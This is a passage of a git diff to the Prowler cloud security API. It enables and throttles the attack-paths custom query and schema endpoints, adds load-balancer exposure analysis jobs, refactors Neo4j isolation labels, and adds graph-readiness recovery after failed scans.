return_value="db-test", + ), + ): + response = authenticated_client.post( + reverse( + "attack-paths-scans-queries-custom", + kwargs={"pk": attack_paths_scan.id}, + ), + data=self._custom_query_payload(), + content_type=API_JSON_CONTENT_TYPE, + ) + + assert response.status_code == status.HTTP_500_INTERNAL_SERVER_ERROR + # -- cartography_schema action ------------------------------------------------ - @pytest.mark.skip(reason="Endpoint temporarily blocked") def test_cartography_schema_returns_urls( self, authenticated_client, @@ -4684,7 +5018,6 @@ class TestAttackPathsScanViewSet: assert "schema.md" in attributes["schema_url"] assert "raw.githubusercontent.com" in attributes["raw_schema_url"] - @pytest.mark.skip(reason="Endpoint temporarily blocked") def test_cartography_schema_returns_404_when_no_metadata( self, authenticated_client, @@ -4719,7 +5052,6 @@ class TestAttackPathsScanViewSet: assert response.status_code == status.HTTP_404_NOT_FOUND assert "No cartography schema metadata" in str(response.json()) - @pytest.mark.skip(reason="Endpoint temporarily blocked") def test_cartography_schema_returns_400_when_graph_not_ready( self, authenticated_client, @@ -7526,8 +7858,12 @@ class TestUserRoleRelationshipViewSet: assert response.status_code == status.HTTP_204_NO_CONTENT relationships = UserRoleRelationship.objects.filter(user=create_test_user.id) assert relationships.count() == 4 - for relationship in relationships[2:]: # Skip admin role - assert relationship.role.id in [r.id for r in roles_fixture[:2]] + # Use set membership instead of positional slicing — QuerySet ordering is + # non-deterministic without an explicit order_by, which makes slice-based + # checks intermittently fail. + added_role_ids = {r.id for r in roles_fixture[:2]} + relationship_role_ids = {rel.role.id for rel in relationships} + assert added_role_ids.issubset(relationship_role_ids) def test_create_relationship_already_exists( self, authenticated_client, roles_fixture, create_test_user diff --git a/api/src/backend/api/v1/serializers.py b/api/src/backend/api/v1/serializers.py index cfa7ec6c37..63e60cd88f 100644 --- a/api/src/backend/api/v1/serializers.py +++ b/api/src/backend/api/v1/serializers.py @@ -1241,7 +1241,7 @@ class AttackPathsQueryRunRequestSerializer(BaseSerializerV1): class AttackPathsCustomQueryRunRequestSerializer(BaseSerializerV1): - query = serializers.CharField() + query = serializers.CharField(max_length=10000, min_length=1, trim_whitespace=True) class JSONAPIMeta: resource_name = "attack-paths-custom-query-run-requests" diff --git a/api/src/backend/api/v1/urls.py b/api/src/backend/api/v1/urls.py index bbe5d08167..533106d0e4 100644 --- a/api/src/backend/api/v1/urls.py +++ b/api/src/backend/api/v1/urls.py @@ -51,6 +51,13 @@ from api.v1.views import ( ) +# This helper view is used to block any endpoints that should not be available +# To use it, add a new entry in the `urlpatterns` list, for example (old but real one): +# path( +# "attack-paths-scans//queries/custom", +# _blocked_endpoint, +# name="attack-paths-scans-queries-custom-blocked", +# ), @csrf_exempt def _blocked_endpoint(request, *args, **kwargs): return JsonResponse( @@ -209,17 +216,6 @@ urlpatterns = [ path("tokens/saml", SAMLTokenValidateView.as_view(), name="token-saml"), path("tokens/google", GoogleSocialLoginView.as_view(), name="token-google"), path("tokens/github", GithubSocialLoginView.as_view(), name="token-github"), - # TODO: Remove these blocked endpoints once they are properly tested - path( - "attack-paths-scans//queries/custom", - _blocked_endpoint, - name="attack-paths-scans-queries-custom-blocked", - ), - path( - "attack-paths-scans//schema", - _blocked_endpoint, - name="attack-paths-scans-schema-blocked", - ), path("", include(router.urls)), path("", include(tenants_router.urls)), path("", include(users_router.urls)), diff --git a/api/src/backend/api/v1/views.py b/api/src/backend/api/v1/views.py index 75b03e2623..7878b51351 100644 --- a/api/src/backend/api/v1/views.py +++ b/api/src/backend/api/v1/views.py @@ -408,7 +408,7 @@ class SchemaView(SpectacularAPIView): def get(self, request, *args, **kwargs): spectacular_settings.TITLE = "Prowler API" - spectacular_settings.VERSION = "1.21.0" + spectacular_settings.VERSION = "1.23.0" spectacular_settings.DESCRIPTION = ( "Prowler API specification.\n\nThis file is auto-generated." ) @@ -2452,6 +2452,11 @@ class AttackPathsScanViewSet(BaseRLSViewSet): # RBAC required permissions required_permissions = [Permissions.MANAGE_SCANS] + def get_throttles(self): + if self.action == "run_custom_attack_paths_query": + self.throttle_scope = "attack-paths-custom-query" + return super().get_throttles() + def set_required_permissions(self): if self.request.method in SAFE_METHODS: self.required_permissions = [] diff --git a/api/src/backend/config/django/base.py b/api/src/backend/config/django/base.py index c9e1b4750f..9304c12938 100644 --- a/api/src/backend/config/django/base.py +++ b/api/src/backend/config/django/base.py @@ -113,8 +113,11 @@ REST_FRAMEWORK = { "rest_framework.throttling.ScopedRateThrottle", ], "DEFAULT_THROTTLE_RATES": { - "token-obtain": env("DJANGO_THROTTLE_TOKEN_OBTAIN", default=None), "dj_rest_auth": None, + "token-obtain": env("DJANGO_THROTTLE_TOKEN_OBTAIN", default=None), + "attack-paths-custom-query": env( + "DJANGO_THROTTLE_ATTACK_PATHS_CUSTOM_QUERY", default="10/min" + ), }, } diff --git a/api/src/backend/config/django/production.py b/api/src/backend/config/django/production.py index b2769237fc..91bd50d0d1 100644 --- a/api/src/backend/config/django/production.py +++ b/api/src/backend/config/django/production.py @@ -3,6 +3,10 @@ from config.env import env DEBUG = env.bool("DJANGO_DEBUG", default=False) ALLOWED_HOSTS = env.list("DJANGO_ALLOWED_HOSTS", default=["localhost", "127.0.0.1"]) +CORS_ALLOWED_ORIGINS = env.list( + "DJANGO_CORS_ALLOWED_ORIGINS", + default=["http://localhost", "http://127.0.0.1"], +) # Database # TODO Use Django database routers https://docs.djangoproject.com/en/5.0/topics/db/multi-db/#automatic-database-routing diff --git a/api/src/backend/tasks/jobs/attack_paths/aws.py b/api/src/backend/tasks/jobs/attack_paths/aws.py index 160ad6ee3a..e7f26b5173 100644 --- a/api/src/backend/tasks/jobs/attack_paths/aws.py +++ b/api/src/backend/tasks/jobs/attack_paths/aws.py @@ -43,6 +43,7 @@ def start_aws_ingestion( "aws_guardduty_severity_threshold": cartography_config.aws_guardduty_severity_threshold, "aws_cloudtrail_management_events_lookback_hours": cartography_config.aws_cloudtrail_management_events_lookback_hours, "experimental_aws_inspector_batch": cartography_config.experimental_aws_inspector_batch, + "aws_tagging_api_cleanup_batch": cartography_config.aws_tagging_api_cleanup_batch, } boto3_session = get_boto3_session(prowler_api_provider, prowler_sdk_provider) @@ -116,6 +117,30 @@ def start_aws_ingestion( neo4j_session, common_job_parameters, ) + + if all( + s in requested_syncs + for s in ["ecs", "ec2:load_balancer_v2", "ec2:load_balancer_v2:expose"] + ): + logger.info( + f"Syncing lb_container_exposure scoped analysis for AWS account {prowler_api_provider.uid}" + ) + cartography_aws.run_scoped_analysis_job( + "aws_lb_container_exposure.json", + neo4j_session, + common_job_parameters, + ) + + if all(s in requested_syncs for s in ["ec2:network_acls", "ec2:load_balancer_v2"]): + logger.info( + f"Syncing lb_nacl_direct scoped analysis for AWS account {prowler_api_provider.uid}" + ) + cartography_aws.run_scoped_analysis_job( + "aws_lb_nacl_direct.json", + neo4j_session, + common_job_parameters, + ) + db_utils.update_attack_paths_scan_progress(attack_paths_scan, 91) logger.info(f"Syncing metadata for AWS account {prowler_api_provider.uid}") diff --git a/api/src/backend/tasks/jobs/attack_paths/config.py b/api/src/backend/tasks/jobs/attack_paths/config.py index 1667d314a7..315d2ecd24 100644 --- a/api/src/backend/tasks/jobs/attack_paths/config.py +++ b/api/src/backend/tasks/jobs/attack_paths/config.py @@ -1,25 +1,30 @@ from dataclasses import dataclass from typing import Callable +from uuid import UUID from config.env import env - from tasks.jobs.attack_paths import aws - -# Batch size for Neo4j operations +# Batch size for Neo4j write operations (resource labeling, cleanup) BATCH_SIZE = env.int("ATTACK_PATHS_BATCH_SIZE", 1000) +# Batch size for Postgres findings fetch (keyset pagination page size) +FINDINGS_BATCH_SIZE = env.int("ATTACK_PATHS_FINDINGS_BATCH_SIZE", 500) +# Batch size for temp-to-tenant graph sync (nodes and relationships per cursor page) +SYNC_BATCH_SIZE = env.int("ATTACK_PATHS_SYNC_BATCH_SIZE", 250) # Neo4j internal labels (Prowler-specific, not provider-specific) +# - `Internet`: Singleton node representing external internet access for exposed-resource queries # - `ProwlerFinding`: Label for finding nodes created by Prowler and linked to cloud resources # - `_ProviderResource`: Added to ALL synced nodes for provider isolation and drop/query ops -# - `Internet`: Singleton node representing external internet access for exposed-resource queries +INTERNET_NODE_LABEL = "Internet" PROWLER_FINDING_LABEL = "ProwlerFinding" PROVIDER_RESOURCE_LABEL = "_ProviderResource" -INTERNET_NODE_LABEL = "Internet" -# Phase 1 dual-write: deprecated label kept for drop_subgraph and infrastructure queries -# Remove in Phase 2 once all nodes use the private label exclusively -DEPRECATED_PROVIDER_RESOURCE_LABEL = "ProviderResource" +# Dynamic isolation labels that contain entity UUIDs and are added to every synced node during sync +# Format: _Tenant_{uuid_no_hyphens}, _Provider_{uuid_no_hyphens} +TENANT_LABEL_PREFIX = "_Tenant_" +PROVIDER_LABEL_PREFIX = "_Provider_" +DYNAMIC_ISOLATION_PREFIXES = [TENANT_LABEL_PREFIX, PROVIDER_LABEL_PREFIX] @dataclass(frozen=True) @@ -31,7 +36,6 @@ class ProviderConfig: uid_field: str # e.g., "arn" # Label for resources connected to the account node, enabling indexed finding lookups. resource_label: str # e.g., "_AWSResource" - deprecated_resource_label: str # e.g., "AWSResource" ingestion_function: Callable @@ -43,7 +47,6 @@ AWS_CONFIG = ProviderConfig( root_node_label="AWSAccount", uid_field="arn", resource_label="_AWSResource", - deprecated_resource_label="AWSResource", ingestion_function=aws.start_aws_ingestion, ) @@ -56,18 +59,16 @@ PROVIDER_CONFIGS: dict[str, ProviderConfig] = { INTERNAL_LABELS: list[str] = [ "Tenant", # From Cartography, but it looks like it's ours PROVIDER_RESOURCE_LABEL, - DEPRECATED_PROVIDER_RESOURCE_LABEL, - # Add all provider-specific resource labels *[config.resource_label for config in PROVIDER_CONFIGS.values()], - *[config.deprecated_resource_label for config in PROVIDER_CONFIGS.values()], ] # Provider isolation properties +PROVIDER_ID_PROPERTY = "_provider_id" +PROVIDER_ELEMENT_ID_PROPERTY = "_provider_element_id" + PROVIDER_ISOLATION_PROPERTIES: list[str] = [ - "_provider_id", - "_provider_element_id", - "provider_id", - "provider_element_id", + PROVIDER_ID_PROPERTY, + PROVIDER_ELEMENT_ID_PROPERTY, ] # Cartography bookkeeping metadata @@ -117,7 +118,25 @@ def get_provider_resource_label(provider_type: str) -> str: return config.resource_label if config else "_UnknownProviderResource" -def get_deprecated_provider_resource_label(provider_type: str) -> str: - """Get the deprecated resource label for a provider type (e.g., `AWSResource`).""" - config = PROVIDER_CONFIGS.get(provider_type) - return config.deprecated_resource_label if config else "UnknownProviderResource" +# Dynamic Isolation Label Helpers +# -------------------------------- + + +def _normalize_uuid(value: str | UUID) -> str: + """Strip hyphens from a UUID string for use in Neo4j labels.""" + return str(value).replace("-", "") + + +def get_tenant_label(tenant_id: str | UUID) -> str: + """Get the Neo4j label for a tenant (e.g., `_Tenant_019c41ee7df37deca684d839f95619f8`).""" + return f"{TENANT_LABEL_PREFIX}{_normalize_uuid(tenant_id)}" + + +def get_provider_label(provider_id: str | UUID) -> str: + """Get the Neo4j label for a provider (e.g., `_Provider_019c41ee7df37deca684d839f95619f8`).""" + return f"{PROVIDER_LABEL_PREFIX}{_normalize_uuid(provider_id)}" + + +def is_dynamic_isolation_label(label: str) -> bool: + """Check if a label is a dynamic tenant/provider isolation label.""" + return any(label.startswith(prefix) for prefix in DYNAMIC_ISOLATION_PREFIXES) diff --git a/api/src/backend/tasks/jobs/attack_paths/db_utils.py b/api/src/backend/tasks/jobs/attack_paths/db_utils.py index 9fb52b0ead..7d17ec07eb 100644 --- a/api/src/backend/tasks/jobs/attack_paths/db_utils.py +++ b/api/src/backend/tasks/jobs/attack_paths/db_utils.py @@ -3,15 +3,13 @@ from typing import Any from cartography.config import Config as CartographyConfig from celery.utils.log import get_task_logger +from tasks.jobs.attack_paths.config import is_provider_available from api.attack_paths import database as graph_database from api.db_utils import rls_transaction -from api.models import ( - AttackPathsScan as ProwlerAPIAttackPathsScan, - Provider as ProwlerAPIProvider, - StateChoices, -) -from tasks.jobs.attack_paths.config import is_provider_available +from api.models import AttackPathsScan as ProwlerAPIAttackPathsScan +from api.models import Provider as ProwlerAPIProvider +from api.models import StateChoices logger = get_task_logger(__name__) @@ -155,6 +153,37 @@ def set_provider_graph_data_ready( attack_paths_scan.refresh_from_db(fields=["graph_data_ready"]) +def recover_graph_data_ready( + attack_paths_scan: ProwlerAPIAttackPathsScan, +) -> None: + """ + Best-effort recovery of `graph_data_ready` after a scan failure. + + Queries Neo4j to check if the provider still has data in the tenant + database. If data exists, restores `graph_data_ready=True` for all scans + of this provider. Never raises. + + Trade-off: if the worker crashed mid-sync, partial data may exist and + this will re-enable queries against it. We accept that because leaving + `graph_data_ready=False` permanently (blocking all queries until the + next successful scan) is a worse outcome for the user. + """ + try: + tenant_db = graph_database.get_database_name(attack_paths_scan.tenant_id) + if graph_database.has_provider_data( + tenant_db, str(attack_paths_scan.provider_id) + ): + set_provider_graph_data_ready(attack_paths_scan, True) + logger.info( + f"Recovered `graph_data_ready` for provider {attack_paths_scan.provider_id}" + ) + + except Exception: + logger.exception( + f"Failed to recover `graph_data_ready` for provider {attack_paths_scan.provider_id}" + ) + + def fail_attack_paths_scan( tenant_id: str, scan_id: str, @@ -185,3 +214,5 @@ def fail_attack_paths_scan( StateChoices.FAILED, {"global_error": error}, ) + + recover_graph_data_ready(attack_paths_scan) diff --git a/api/src/backend/tasks/jobs/attack_paths/findings.py b/api/src/backend/tasks/jobs/attack_paths/findings.py index 468f805cdd..9a9f365911 100644 --- a/api/src/backend/tasks/jobs/attack_paths/findings.py +++ b/api/src/backend/tasks/jobs/attack_paths/findings.py @@ -9,23 +9,15 @@ This module handles: """ from collections import defaultdict -from dataclasses import asdict, dataclass, fields from typing import Any, Generator from uuid import UUID import neo4j - from cartography.config import Config as CartographyConfig from celery.utils.log import get_task_logger - -from api.db_router import READ_REPLICA_ALIAS -from api.db_utils import rls_transaction -from api.models import Finding as FindingModel -from api.models import Provider, ResourceFindingMapping -from prowler.config import config as ProwlerConfig from tasks.jobs.attack_paths.config import ( BATCH_SIZE, - get_deprecated_provider_resource_label, + FINDINGS_BATCH_SIZE, get_node_uid_field, get_provider_resource_label, get_root_node_label, @@ -38,75 +30,54 @@ from tasks.jobs.attack_paths.queries import ( render_cypher_template, ) +from api.db_router import READ_REPLICA_ALIAS +from api.db_utils import rls_transaction +from api.models import Finding as FindingModel +from api.models import Provider, ResourceFindingMapping +from prowler.config import config as ProwlerConfig + logger = get_task_logger(__name__) -# Type Definitions -# ----------------- - -# Maps dataclass field names to Django ORM query field names -_DB_FIELD_MAP: dict[str, str] = { - "check_title": "check_metadata__checktitle", -} +# Django ORM field names for `.values()` queries +# Most map 1:1 to Neo4j property names, exceptions are remapped in `_to_neo4j_dict` +_DB_QUERY_FIELDS = [ + "id", + "uid", + "inserted_at", + "updated_at", + "first_seen_at", + "scan_id", + "delta", + "status", + "status_extended", + "severity", + "check_id", + "check_metadata__checktitle", + "muted", + "muted_reason", +] -@dataclass(slots=True) -class Finding: - """ - Finding data for Neo4j ingestion. - - Can be created from a Django .values() query result using from_db_record(). - """ - - id: str - uid: str - inserted_at: str - updated_at: str - first_seen_at: str - scan_id: str - delta: str - status: str - status_extended: str - severity: str - check_id: str - check_title: str - muted: bool - muted_reason: str | None - resource_uid: str | None = None - - @classmethod - def get_db_query_fields(cls) -> tuple[str, ...]: - """Get field names for Django .values() query.""" - return tuple( - _DB_FIELD_MAP.get(f.name, f.name) - for f in fields(cls) - if f.name != "resource_uid" - ) - - @classmethod - def from_db_record(cls, record: dict[str, Any], resource_uid: str) -> "Finding": - """Create a Finding from a Django .values() query result.""" - return cls( - id=str(record["id"]), - uid=record["uid"], - inserted_at=record["inserted_at"], - updated_at=record["updated_at"], - first_seen_at=record["first_seen_at"], - scan_id=str(record["scan_id"]), - delta=record["delta"], - status=record["status"], - status_extended=record["status_extended"], - severity=record["severity"], - check_id=str(record["check_id"]), - check_title=record["check_metadata__checktitle"], - muted=record["muted"], - muted_reason=record["muted_reason"], - resource_uid=resource_uid, - ) - - def to_dict(self) -> dict[str, Any]: - """Convert to dict for Neo4j ingestion.""" - return asdict(self) +def _to_neo4j_dict(record: dict[str, Any], resource_uid: str) -> dict[str, Any]: + """Transform a Django `.values()` record into a `dict` ready for Neo4j ingestion.""" + return { + "id": str(record["id"]), + "uid": record["uid"], + "inserted_at": record["inserted_at"], + "updated_at": record["updated_at"], + "first_seen_at": record["first_seen_at"], + "scan_id": str(record["scan_id"]), + "delta": record["delta"], + "status": record["status"], + "status_extended": record["status_extended"], + "severity": record["severity"], + "check_id": str(record["check_id"]), + "check_title": record["check_metadata__checktitle"], + "muted": record["muted"], + "muted_reason": record["muted_reason"], + "resource_uid": resource_uid, + } # Public API @@ -153,9 +124,6 @@ def add_resource_label( { "__ROOT_LABEL__": get_root_node_label(provider_type), "__RESOURCE_LABEL__": get_provider_resource_label(provider_type), - "__DEPRECATED_RESOURCE_LABEL__": get_deprecated_provider_resource_label( - provider_type - ), }, ) @@ -184,7 +152,7 @@ def add_resource_label( def load_findings( neo4j_session: neo4j.Session, - findings_batches: Generator[list[Finding], None, None], + findings_batches: Generator[list[dict[str, Any]], None, None], prowler_api_provider: Provider, config: CartographyConfig, ) -> None: @@ -213,7 +181,7 @@ def load_findings( batch_size = len(batch) total_records += batch_size - parameters["findings_data"] = [f.to_dict() for f in batch] + parameters["findings_data"] = batch logger.info(f"Loading findings batch {batch_num} ({batch_size} records)") neo4j_session.run(query, parameters) @@ -251,16 +219,17 @@ def cleanup_findings( def stream_findings_with_resources( prowler_api_provider: Provider, scan_id: str, -) -> Generator[list[Finding], None, None]: +) -> Generator[list[dict[str, Any]], None, None]: """ Stream findings with their associated resources in batches. Uses keyset pagination for efficient traversal of large datasets. - Memory efficient: yields one batch at a time, never holds all findings in memory. + Memory efficient: yields one batch at a time as dicts ready for Neo4j ingestion, + never holds all findings in memory. """ logger.info( f"Starting findings stream for scan {scan_id} " - f"(tenant {prowler_api_provider.tenant_id}) with batch size {BATCH_SIZE}" + f"(tenant {prowler_api_provider.tenant_id}) with batch size {FINDINGS_BATCH_SIZE}" ) tenant_id = prowler_api_provider.tenant_id @@ -309,15 +278,14 @@ def _fetch_findings_batch( Uses read replica and RLS-scoped transaction. """ with rls_transaction(tenant_id, using=READ_REPLICA_ALIAS): - # Use all_objects to avoid the ActiveProviderManager's implicit JOIN - # through Scan -> Provider (to check is_deleted=False). - # The provider is already validated as active in this context. + # Use `all_objects` to get `Findings` even on soft-deleted `Providers` + # But even the provider is already validated as active in this context qs = FindingModel.all_objects.filter(scan_id=scan_id).order_by("id") if after_id is not None: qs = qs.filter(id__gt=after_id) - return list(qs.values(*Finding.get_db_query_fields())[:BATCH_SIZE]) + return list(qs.values(*_DB_QUERY_FIELDS)[:FINDINGS_BATCH_SIZE]) # Batch Enrichment @@ -327,7 +295,7 @@ def _fetch_findings_batch( def _enrich_batch_with_resources( findings_batch: list[dict[str, Any]], tenant_id: str, -) -> list[Finding]: +) -> list[dict[str, Any]]: """ Enrich findings with their resource UIDs. @@ -338,7 +306,7 @@ def _enrich_batch_with_resources( resource_map = _build_finding_resource_map(finding_ids, tenant_id) return [ - Finding.from_db_record(finding, resource_uid) + _to_neo4j_dict(finding, resource_uid) for finding in findings_batch for resource_uid in resource_map.get(finding["id"], []) ] diff --git a/api/src/backend/tasks/jobs/attack_paths/indexes.py b/api/src/backend/tasks/jobs/attack_paths/indexes.py index 69edfe6719..1332cf50b9 100644 --- a/api/src/backend/tasks/jobs/attack_paths/indexes.py +++ b/api/src/backend/tasks/jobs/attack_paths/indexes.py @@ -6,9 +6,10 @@ from cartography.client.core.tx import run_write_query from celery.utils.log import get_task_logger from tasks.jobs.attack_paths.config import ( - DEPRECATED_PROVIDER_RESOURCE_LABEL, INTERNET_NODE_LABEL, PROWLER_FINDING_LABEL, + PROVIDER_ELEMENT_ID_PROPERTY, + PROVIDER_ID_PROPERTY, PROVIDER_RESOURCE_LABEL, ) @@ -27,8 +28,6 @@ FINDINGS_INDEX_STATEMENTS = [ # Resource indexes for Prowler Finding lookups "CREATE INDEX aws_resource_arn IF NOT EXISTS FOR (n:_AWSResource) ON (n.arn);", "CREATE INDEX aws_resource_id IF NOT EXISTS FOR (n:_AWSResource) ON (n.id);", - "CREATE INDEX deprecated_aws_resource_arn IF NOT EXISTS FOR (n:AWSResource) ON (n.arn);", - "CREATE INDEX deprecated_aws_resource_id IF NOT EXISTS FOR (n:AWSResource) ON (n.id);", # Prowler Finding indexes f"CREATE INDEX prowler_finding_id IF NOT EXISTS FOR (n:{PROWLER_FINDING_LABEL}) ON (n.id);", f"CREATE INDEX prowler_finding_provider_uid IF NOT EXISTS FOR (n:{PROWLER_FINDING_LABEL}) ON (n.provider_uid);", @@ -40,10 +39,8 @@ FINDINGS_INDEX_STATEMENTS = [ # Indexes for provider resource sync operations SYNC_INDEX_STATEMENTS = [ - f"CREATE INDEX provider_element_id IF NOT EXISTS FOR (n:{PROVIDER_RESOURCE_LABEL}) ON (n._provider_element_id);", - f"CREATE INDEX provider_resource_provider_id IF NOT EXISTS FOR (n:{PROVIDER_RESOURCE_LABEL}) ON (n._provider_id);", - f"CREATE INDEX deprecated_provider_element_id IF NOT EXISTS FOR (n:{DEPRECATED_PROVIDER_RESOURCE_LABEL}) ON (n.provider_element_id);", - f"CREATE INDEX deprecated_provider_resource_provider_id IF NOT EXISTS FOR (n:{DEPRECATED_PROVIDER_RESOURCE_LABEL}) ON (n.provider_id);", + f"CREATE INDEX provider_resource_element_id IF NOT EXISTS FOR (n:{PROVIDER_RESOURCE_LABEL}) ON (n.{PROVIDER_ELEMENT_ID_PROPERTY});", + f"CREATE INDEX provider_resource_provider_id IF NOT EXISTS FOR (n:{PROVIDER_RESOURCE_LABEL}) ON (n.{PROVIDER_ID_PROPERTY});", ] diff --git a/api/src/backend/tasks/jobs/attack_paths/queries.py b/api/src/backend/tasks/jobs/attack_paths/queries.py index 4eada6684f..a641697789 100644 --- a/api/src/backend/tasks/jobs/attack_paths/queries.py +++ b/api/src/backend/tasks/jobs/attack_paths/queries.py @@ -2,6 +2,8 @@ from tasks.jobs.attack_paths.config import ( INTERNET_NODE_LABEL, PROWLER_FINDING_LABEL, + PROVIDER_ELEMENT_ID_PROPERTY, + PROVIDER_ID_PROPERTY, PROVIDER_RESOURCE_LABEL, ) @@ -26,7 +28,7 @@ ADD_RESOURCE_LABEL_TEMPLATE = """ MATCH (account:__ROOT_LABEL__ {id: $provider_uid})-->(r) WHERE NOT r:__ROOT_LABEL__ AND NOT r:__RESOURCE_LABEL__ WITH r LIMIT $batch_size - SET r:__RESOURCE_LABEL__:__DEPRECATED_RESOURCE_LABEL__ + SET r:__RESOURCE_LABEL__ RETURN COUNT(r) AS labeled_count """ @@ -149,22 +151,18 @@ RELATIONSHIPS_FETCH_QUERY = """ LIMIT $batch_size """ -NODE_SYNC_TEMPLATE = """ +NODE_SYNC_TEMPLATE = f""" UNWIND $rows AS row - MERGE (n:__NODE_LABELS__ {_provider_element_id: row.provider_element_id}) + MERGE (n:__NODE_LABELS__ {{{PROVIDER_ELEMENT_ID_PROPERTY}: row.provider_element_id}}) SET n += row.props - SET n._provider_id = $provider_id - SET n.provider_element_id = row.provider_element_id - SET n.provider_id = $provider_id -""" # The last two lines are deprecated properties + SET n.{PROVIDER_ID_PROPERTY} = $provider_id +""" RELATIONSHIP_SYNC_TEMPLATE = f""" UNWIND $rows AS row - MATCH (s:{PROVIDER_RESOURCE_LABEL} {{_provider_element_id: row.start_element_id}}) - MATCH (t:{PROVIDER_RESOURCE_LABEL} {{_provider_element_id: row.end_element_id}}) - MERGE (s)-[r:__REL_TYPE__ {{_provider_element_id: row.provider_element_id}}]->(t) + MATCH (s:{PROVIDER_RESOURCE_LABEL} {{{PROVIDER_ELEMENT_ID_PROPERTY}: row.start_element_id}}) + MATCH (t:{PROVIDER_RESOURCE_LABEL} {{{PROVIDER_ELEMENT_ID_PROPERTY}: row.end_element_id}}) + MERGE (s)-[r:__REL_TYPE__ {{{PROVIDER_ELEMENT_ID_PROPERTY}: row.provider_element_id}}]->(t) SET r += row.props - SET r._provider_id = $provider_id - SET r.provider_element_id = row.provider_element_id - SET r.provider_id = $provider_id -""" # The last two lines are deprecated properties + SET r.{PROVIDER_ID_PROPERTY} = $provider_id +""" diff --git a/api/src/backend/tasks/jobs/attack_paths/scan.py b/api/src/backend/tasks/jobs/attack_paths/scan.py index a7cf60b568..20dba74da8 100644 --- a/api/src/backend/tasks/jobs/attack_paths/scan.py +++ b/api/src/backend/tasks/jobs/attack_paths/scan.py @@ -1,6 +1,60 @@ +""" +Attack Paths scan orchestrator. + +Runs the full scan lifecycle for a single provider, called from a Celery task. +The idea is simple: ingest everything into a throwaway Neo4j database, enrich +it with Prowler-specific data, then swap it into the tenant's long-lived +database so queries never see a half-built graph. + +Two databases are involved: +- Temporary (db-tmp-scan-): short-lived, single-provider, dropped after sync. +- Tenant (db-tenant-): long-lived, multi-provider, what the API queries against. + +Pipeline steps: + +1. Resolve the Prowler provider and SDK credentials from the scan ID. + Retrieve or create the AttackPathsScan row. Exit early if the provider + type has no ingestion function (only AWS is supported today). + +2. Create a fresh temporary Neo4j database and set up Cartography indexes + plus ProwlerFinding indexes before writing any data. + +3. Run the provider-specific Cartography ingestion (e.g. aws.start_aws_ingestion). + This iterates over cloud services and writes the standard Cartography nodes + (AWSAccount, EC2Instance, IAMRole, etc.) and relationships (RESOURCE, + POLICY, STATEMENT, TRUSTS_AWS_PRINCIPAL, ...) into the temp database. + Wrapped in call_within_event_loop because some Cartography modules use async. + +4. Run Cartography post-processing: ontology for label propagation and + analysis for derived relationships. + +5. Create an Internet singleton node and add CAN_ACCESS relationships to + internet-exposed resources (EC2Instance, LoadBalancer, LoadBalancerV2). + +6. Stream Prowler findings from Postgres in batches. Each finding becomes a + ProwlerFinding node linked to its cloud-resource node via HAS_FINDING. + Before that, an _AWSResource label (provider-specific) is added to all + nodes connected to the AWSAccount so finding lookups can use an index. + Stale findings from previous scans are cleaned up. + +7. Sync the temp database into the tenant database: + - Drop the old provider subgraph (matched by _provider_id property). + graph_data_ready is set to False for all scans of this provider while + the swap happens so the API doesn't serve partial data. + - Copy nodes and relationships in batches. Every synced node gets a + _ProviderResource label and _provider_id / _provider_element_id + properties for multi-provider isolation. + - Set graph_data_ready back to True. + +8. Drop the temporary database, mark the AttackPathsScan as COMPLETED. + +On failure the temp database is dropped, the scan is marked FAILED, and the +exception propagates to Celery. + +""" + import logging import time - from typing import Any from cartography.config import Config as CartographyConfig @@ -8,16 +62,14 @@ from cartography.intel import analysis as cartography_analysis from cartography.intel import create_indexes as cartography_create_indexes from cartography.intel import ontology as cartography_ontology from celery.utils.log import get_task_logger +from tasks.jobs.attack_paths import db_utils, findings, internet, sync, utils +from tasks.jobs.attack_paths.config import get_cartography_ingestion_function from api.attack_paths import database as graph_database from api.db_utils import rls_transaction -from api.models import ( - Provider as ProwlerAPIProvider, - StateChoices, -) +from api.models import Provider as ProwlerAPIProvider +from api.models import StateChoices from api.utils import initialize_prowler_provider -from tasks.jobs.attack_paths import db_utils, findings, internet, sync, utils -from tasks.jobs.attack_paths.config import get_cartography_ingestion_function # Without this Celery goes crazy with Cartography logging logging.getLogger("cartography").setLevel(logging.ERROR) @@ -92,6 +144,10 @@ def run(tenant_id: str, scan_id: str, task_id: str) -> dict[str, Any]: attack_paths_scan, task_id, tenant_cartography_config ) + subgraph_dropped = False + sync_completed = False + provider_gated = False + try: logger.info( f"Creating Neo4j database {tmp_cartography_config.neo4j_database} for tenant {prowler_api_provider.tenant_id}" @@ -170,10 +226,12 @@ def run(tenant_id: str, scan_id: str, task_id: str) -> dict[str, Any]: logger.info(f"Deleting existing provider graph in {tenant_database_name}") db_utils.set_provider_graph_data_ready(attack_paths_scan, False) + provider_gated = True graph_database.drop_subgraph( database=tenant_database_name, provider_id=str(prowler_api_provider.id), ) + subgraph_dropped = True db_utils.update_attack_paths_scan_progress(attack_paths_scan, 98) logger.info( @@ -182,8 +240,10 @@ def run(tenant_id: str, scan_id: str, task_id: str) -> dict[str, Any]: sync.sync_graph( source_database=tmp_database_name, target_database=tenant_database_name, + tenant_id=str(prowler_api_provider.tenant_id), provider_id=str(prowler_api_provider.id), ) + sync_completed = True db_utils.set_graph_data_ready(attack_paths_scan, True) db_utils.update_attack_paths_scan_progress(attack_paths_scan, 99) @@ -208,23 +268,39 @@ def run(tenant_id: str, scan_id: str, task_id: str) -> dict[str, Any]: logger.exception(exception_message) ingestion_exceptions["global_error"] = exception_message - # Handling databases changes + # Recover graph_data_ready based on how far the swap got. + # Partial drop (mid-batch failure) may leave `subgraph_dropped=False` + # with data partially deleted, so we prefer that over permanently blocked queries. + try: + if sync_completed: + db_utils.set_graph_data_ready(attack_paths_scan, True) + elif provider_gated and not subgraph_dropped: + db_utils.set_provider_graph_data_ready(attack_paths_scan, True) + + except Exception: + logger.error( + f"Failed to recover `graph_data_ready` for provider {attack_paths_scan.provider_id}", + exc_info=True, + ) + + # Dropping the temporary database if it still exists try: graph_database.drop_database(tmp_cartography_config.neo4j_database) except Exception as e: logger.error( - f"Failed to drop temporary Neo4j database {tmp_cartography_config.neo4j_database} during cleanup: {e}", + f"Failed to drop temporary Neo4j database `{tmp_cartography_config.neo4j_database}` during cleanup: {e}", exc_info=True, ) + # Set Attack Paths scan state to FAILED try: db_utils.finish_attack_paths_scan( attack_paths_scan, StateChoices.FAILED, ingestion_exceptions ) except Exception as e: logger.error( - f"Could not mark attack paths scan {attack_paths_scan.id} as FAILED (row may have been deleted): {e}", + f"Could not mark Attack Paths scan {attack_paths_scan.id} as `FAILED` (row may have been deleted): {e}", 